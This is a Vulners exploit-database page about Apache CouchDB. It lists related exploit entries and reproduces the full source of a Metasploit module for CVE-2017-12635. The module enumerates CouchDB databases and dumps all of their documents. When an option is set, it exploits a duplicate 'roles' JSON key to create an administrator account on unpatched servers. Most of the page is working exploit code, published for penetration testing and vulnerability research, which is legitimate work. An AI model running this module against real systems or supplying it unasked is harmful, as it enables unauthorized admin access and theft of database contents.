| Reporter | Title | Published | Views | Family All 55 |
|---|---|---|---|---|
| Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat | 16 May 202116:14 | – | gitee | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat | 27 Apr 202114:33 | – | gitee | |
| Exploit for Unrestricted Upload of File with Dangerous Type in Apache Tomcat | 22 Oct 202115:45 | – | gitee | |
| Apache CouchDB Remote Code Execution Vulnerability | 30 Nov 201700:00 | – | zdt | |
| Apache CouchDB 1.7.0 and 2.x before 2.1.1 - Remote Privilege Escalation Exploit | 23 Apr 201800:00 | – | zdt | |
| Apache CouchDB < 2.1.0 - Remote Code Execution Exploit | 20 Jun 201800:00 | – | zdt | |
| Apache #CouchDB Arbitrary Command Execution Exploit | 13 Jul 201800:00 | – | zdt | |
| couchdb -- multiple vulnerabilities | 14 Nov 201700:00 | – | freebsd | |
| Exploit for Improper Privilege Management in Apache Couchdb | 29 May 202619:32 | – | githubexploit | |
| [ASA-201711-24] couchdb: multiple issues | 16 Nov 201700:00 | – | archlinux |
`##
# This module requires Metasploit: https://metasploit.com/download
# Current source: https://github.com/rapid7/metasploit-framework
##
class MetasploitModule < Msf::Auxiliary
include Msf::Exploit::Remote::HttpClient
include Msf::Auxiliary::Report
def initialize(info = {})
super(update_info(info,
'Name' => 'CouchDB Enum Utility',
'Description' => %q{
This module enumerates databases on CouchDB using the REST API
(without authentication by default).
},
'References' =>
[
['CVE', '2017-12635'],
['URL', 'https://justi.cz/security/2017/11/14/couchdb-rce-npm.html'],
['URL', 'https://wiki.apache.org/couchdb/HTTP_database_API']
],
'Author' =>
[
'Max Justicz', # Vulnerability discovery
'Roberto Soares Espreto <robertoespreto[at]gmail.com>', # Metasploit module
'Hendrik Van Belleghem', # (@hendrikvb) Database dump enhancements
'Green-m <greenm.xxoo[at]gmail.com>' # Portions from apache_couchdb_cmd_exec.rb used
],
'License' => MSF_LICENSE
))
register_options(
[
Opt::RPORT(5984),
OptString.new('TARGETURI', [true, 'Path to list all the databases', '/_all_dbs']),
OptBool.new('SERVERINFO', [true, 'Print server info', false]),
OptBool.new('CREATEUSER', [true, 'Create Administrative user', false]),
OptString.new('HttpUsername', [true, 'CouchDB Username', Rex::Text.rand_text_alpha(12)]),
OptString.new('HttpPassword', [true, 'CouchDB Password', Rex::Text.rand_text_alpha(12)]),
OptString.new('ROLES', [true, 'CouchDB Roles', '_admin'])
])
end
def valid_response(res)
return res.code == 200 && res.headers['Server'].include?('CouchDB')
end
def get_version
@version = nil
begin
res = send_request_cgi(
'uri' => '/',
'method' => 'GET'
)
rescue Rex::ConnectionError
vprint_bad("#{peer} - Connection failed")
return false
end
unless res
vprint_bad("#{peer} - No response, check if it is CouchDB.")
return false
end
if res && res.code == 401
print_bad("#{peer} - Authentication required.")
return false
end
if res && res.code == 200
res_json = res.get_json_document
if res_json.empty?
vprint_bad("#{peer} - Cannot parse the response, seems like it's not CouchDB.")
return false
end
@version = res_json['version'] if res_json['version']
return true
end
vprint_warning("#{peer} - Version not found")
true
end
def check
return Exploit::CheckCode::Unknown unless get_version
version = Rex::Version.new(@version)
return Exploit::CheckCode::Unknown if version.version.empty?
vprint_good("#{peer} - Found CouchDB version #{version}")
return Exploit::CheckCode::Appears if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))
Exploit::CheckCode::Safe
end
def get_dbs(auth)
begin
res = send_request_cgi(
'uri' => normalize_uri(target_uri.path),
'method' => 'GET'
)
temp = JSON.parse(res.body)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e
print_error("#{peer} - The following Error was encountered: #{e.class}")
return
end
unless valid_response(res)
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")
return
end
print_status("#{peer} - Enumerating Databases...")
results = JSON.pretty_generate(temp)
print_good("#{peer} - Databases:\n\n#{results}\n")
path = store_loot(
'couchdb.enum',
'application/json',
rhost,
results,
'CouchDB Databases'
)
print_good("#{peer} - File saved in: #{path}")
res.get_json_document.each do |db|
r = send_request_cgi(
'uri' => normalize_uri(target_uri.path, "/#{db}/_all_docs"),
'method'=> 'GET',
'authorization' => auth,
'vars_get' => {'include_docs' => 'true', 'attachments' => 'true'}
)
if r.code != 200
print_bad("#{peer} - Error retrieving database. Consider providing credentials or setting CREATEUSER and rerunning.")
return
end
temp = JSON.parse(r.body)
results = JSON.pretty_generate(temp)
path = store_loot(
"couchdb.#{db}",
"application/json",
rhost,
results,
"CouchDB Databases"
)
print_good("#{peer} - #{db} saved in: #{path}")
end
end
def get_server_info(auth)
begin
res = send_request_cgi(
'uri' => '/',
'method' => 'GET'
)
temp = JSON.parse(res.body)
rescue ::Rex::ConnectionRefused, ::Rex::HostUnreachable, JSON::ParserError => e
print_error("#{peer} - The following Error was encountered: #{e.class}")
return
end
unless valid_response(res)
print_error("#{peer} - Unable to enum, received \"#{res.code}\"")
return
end
# Example response: {"couchdb":"Welcome","uuid":"6f08e89795bd845efc6c2bf3d57799e5","version":"1.6.1","vendor":{"version":"16.04","name":"Ubuntu"}}
print_good("#{peer} - #{JSON.pretty_generate(temp)}")
report_service(
host: rhost,
port: rport,
name: 'couchdb',
proto: 'tcp',
info: res.body
)
end
def create_user
username = datastore['HttpUsername']
password = datastore['HttpPassword']
roles = datastore['ROLES']
timeout = datastore['TIMEOUT']
version = @version
data = %Q({
"type": "user",
"name": "#{username}",
"roles": ["#{roles}"],
"roles": [],
"password": "#{password}"
})
res = send_request_cgi(
{ 'uri' => "/_users/org.couchdb.user:#{username}", # http://hostname:port/_users/org.couchdb.user:username
'method' => 'PUT',
'ctype' => 'text/json',
'data' => data,
}, timeout)
unless res && res.code == 200
print_error("#{peer} - Change Failed")
return
end
print_good("#{peer} - User #{username} created with password #{password}. Connect to #{full_uri('/_utils/')} to login.")
end
def run
username = datastore['HttpUsername']
password = datastore['HttpPassword']
if datastore['CREATEUSER']
fail_with(Failure::Unknown, 'get_version failed in run') unless get_version
version = Rex::Version.new(@version)
print_good("#{peer} - Found CouchDB version #{version}")
create_user if version < Rex::Version.new('1.7.0') || version.between?(Rex::Version.new('2.0.0'), Rex::Version.new('2.1.0'))
end
auth = basic_auth(username, password) if username && password
get_server_info(auth) if datastore['SERVERINFO']
get_dbs(auth)
end
end
`
Data
Build on a solid foundation with Vulners data
We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data
Api
Power your application with Vulners API
The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access
App
Assess and manage vulnerabilities with Vulners tools
Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation